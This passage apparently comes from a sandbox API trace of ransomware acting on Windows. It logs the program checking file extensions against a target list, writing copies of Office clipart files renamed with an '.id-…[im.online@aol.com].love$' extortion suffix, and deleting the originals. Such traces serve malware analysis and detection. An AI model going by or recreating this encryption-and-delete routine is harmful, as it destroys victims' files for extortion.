lpString2=".WMF") returned -1 [0281.115] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.115] lstrlenW (lpString="J0105974.WMF") returned 12 [0281.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0281.116] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4612) returned 1 [0281.116] CloseHandle (hObject=0x580) returned 1 [0281.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0281.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0281.117] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.117] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0281.118] GetLastError () returned 0x0 [0281.118] ReadFile (in: hFile=0x580, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1204, lpOverlapped=0x0) returned 1 [0281.202] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1210, lpOverlapped=0x0) returned 1 [0281.203] ReadFile (in: hFile=0x580, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.203] WriteFile (in: hFile=0x42c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.203] SetEndOfFile (hFile=0x42c) returned 1 [0281.203] CloseHandle (hObject=0x42c) returned 1 [0281.203] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.203] SetEndOfFile (hFile=0x580) returned 1 [0281.229] CloseHandle (hObject=0x580) returned 1 [0281.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.405] lstrlenW (lpString=".doc") returned 4 [0281.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".docx") returned 5 [0281.405] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0281.405] lstrlenW (lpString=".pdf") returned 4 [0281.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".xls") returned 4 [0281.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.405] lstrlenW (lpString=".xlsx") returned 5 [0281.405] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0281.405] lstrlenW (lpString=".ppt") returned 4 [0281.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.405] lstrlenW (lpString=".zip") returned 4 [0281.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.405] lstrlenW (lpString=".rar") returned 4 [0281.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".bz2") returned 4 [0281.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString=".7z") returned 3 [0281.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.405] lstrlenW (lpString=".dbf") returned 4 [0281.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.405] lstrlenW (lpString=".1cd") returned 4 [0281.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.406] lstrlenW (lpString=".jpg") returned 4 [0281.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.406] lstrlenW (lpString=".doc") returned 4 [0281.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString=".docx") returned 5 [0281.406] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0281.406] lstrlenW (lpString=".pdf") returned 4 [0281.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString=".xls") returned 4 [0281.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.406] lstrlenW (lpString=".xlsx") returned 5 [0281.406] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0281.406] lstrlenW (lpString=".ppt") returned 4 [0281.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.406] lstrlenW (lpString=".zip") returned 4 [0281.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.406] lstrlenW (lpString=".rar") returned 4 [0281.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString=".bz2") returned 4 [0281.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.406] lstrlenW (lpString=".7z") returned 3 [0281.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.406] lstrlenW (lpString=".dbf") returned 4 [0281.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.407] lstrlenW (lpString=".1cd") returned 4 [0281.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0281.407] lstrlenW (lpString=".jpg") returned 4 [0281.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.407] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.407] lstrlenW (lpString="J0106572.WMF") returned 12 [0281.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0281.564] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2148) returned 1 [0281.564] CloseHandle (hObject=0x3c0) returned 1 [0281.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0281.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.155] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.155] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0282.157] GetLastError () returned 0x0 [0282.157] ReadFile (in: hFile=0x300, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x864, lpOverlapped=0x0) returned 1 [0282.159] WriteFile (in: hFile=0x408, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x870, lpOverlapped=0x0) returned 1 [0282.160] ReadFile (in: hFile=0x300, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.161] WriteFile (in: hFile=0x408, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.161] SetEndOfFile (hFile=0x408) returned 1 [0282.161] CloseHandle (hObject=0x408) returned 1 [0282.161] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.161] SetEndOfFile (hFile=0x300) returned 1 [0282.165] CloseHandle (hObject=0x300) returned 1 [0282.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.168] lstrlenW (lpString=".doc") returned 4 [0282.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".docx") returned 5 [0282.168] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.168] lstrlenW (lpString=".pdf") returned 4 [0282.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".xls") returned 4 [0282.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.168] lstrlenW (lpString=".xlsx") returned 5 [0282.168] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.168] lstrlenW (lpString=".ppt") returned 4 [0282.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.168] lstrlenW (lpString=".zip") returned 4 [0282.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.168] lstrlenW (lpString=".rar") returned 4 [0282.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".bz2") returned 4 [0282.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.168] lstrlenW (lpString=".7z") returned 3 [0282.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.168] lstrlenW (lpString=".dbf") returned 4 [0282.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.169] lstrlenW (lpString=".1cd") returned 4 [0282.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.169] lstrlenW (lpString=".jpg") returned 4 [0282.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.169] lstrlenW (lpString=".doc") returned 4 [0282.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString=".docx") returned 5 [0282.169] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.169] lstrlenW (lpString=".pdf") returned 4 [0282.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString=".xls") returned 4 [0282.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.169] lstrlenW (lpString=".xlsx") returned 5 [0282.169] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.169] lstrlenW (lpString=".ppt") returned 4 [0282.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.169] lstrlenW (lpString=".zip") returned 4 [0282.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.169] lstrlenW (lpString=".rar") returned 4 [0282.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.169] lstrlenW (lpString=".bz2") returned 4 [0282.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString=".7z") returned 3 [0282.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.170] lstrlenW (lpString=".dbf") returned 4 [0282.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.170] lstrlenW (lpString=".1cd") returned 4 [0282.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0282.170] lstrlenW (lpString=".jpg") returned 4 [0282.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.170] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0282.170] lstrlenW (lpString="J0107042.WMF") returned 12 [0282.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.172] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9048) returned 1 [0282.172] CloseHandle (hObject=0x300) returned 1 [0282.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0282.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0282.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0282.173] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.173] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0282.178] GetLastError () returned 0x0 [0282.178] ReadFile (in: hFile=0x300, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2358, lpOverlapped=0x0) returned 1 [0282.181] WriteFile (in: hFile=0x408, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2360, lpOverlapped=0x0) returned 1 [0282.182] ReadFile (in: hFile=0x300, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.182] WriteFile (in: hFile=0x408, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.182] SetEndOfFile (hFile=0x408) returned 1 [0282.182] CloseHandle (hObject=0x408) returned 1 [0282.183] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.183] SetEndOfFile (hFile=0x300) returned 1 [0282.187] CloseHandle (hObject=0x300) returned 1 [0282.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0282.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0282.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.370] lstrlenW (lpString=".doc") returned 4 [0282.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.370] lstrlenW (lpString=".docx") returned 5 [0282.370] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.370] lstrlenW (lpString=".pdf") returned 4 [0282.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.370] lstrlenW (lpString=".xls") returned 4 [0282.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.370] lstrlenW (lpString=".xlsx") returned 5 [0282.370] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.370] lstrlenW (lpString=".ppt") returned 4 [0282.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.370] lstrlenW (lpString=".zip") returned 4 [0282.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.370] lstrlenW (lpString=".rar") returned 4 [0282.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString=".bz2") returned 4 [0282.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString=".7z") returned 3 [0282.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString=".dbf") returned 4 [0282.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString=".1cd") returned 4 [0282.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString=".jpg") returned 4 [0282.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString=".doc") returned 4 [0282.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString=".docx") returned 5 [0282.371] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0282.371] lstrlenW (lpString=".pdf") returned 4 [0282.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString=".xls") returned 4 [0282.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.371] lstrlenW (lpString=".xlsx") returned 5 [0282.371] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0282.371] lstrlenW (lpString=".ppt") returned 4 [0282.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.371] lstrlenW (lpString=".zip") returned 4 [0282.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.372] lstrlenW (lpString=".rar") returned 4 [0282.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.372] lstrlenW (lpString=".bz2") returned 4 [0282.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.372] lstrlenW (lpString=".7z") returned 3 [0282.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.372] lstrlenW (lpString=".dbf") returned 4 [0282.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.372] lstrlenW (lpString=".1cd") returned 4 [0282.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0282.372] lstrlenW (lpString=".jpg") returned 4 [0282.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.372] lstrlenW (lpString=".id-") returned 4 [0282.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5298 | out: hHeap=0x670000) returned 1 [0282.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c1f0 | out: hHeap=0x670000) returned 1 [0282.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3251e00 | out: hHeap=0x670000) returned 1 [0282.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3261e08 | out: hHeap=0x670000) returned 1 [0282.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3a83020 | out: 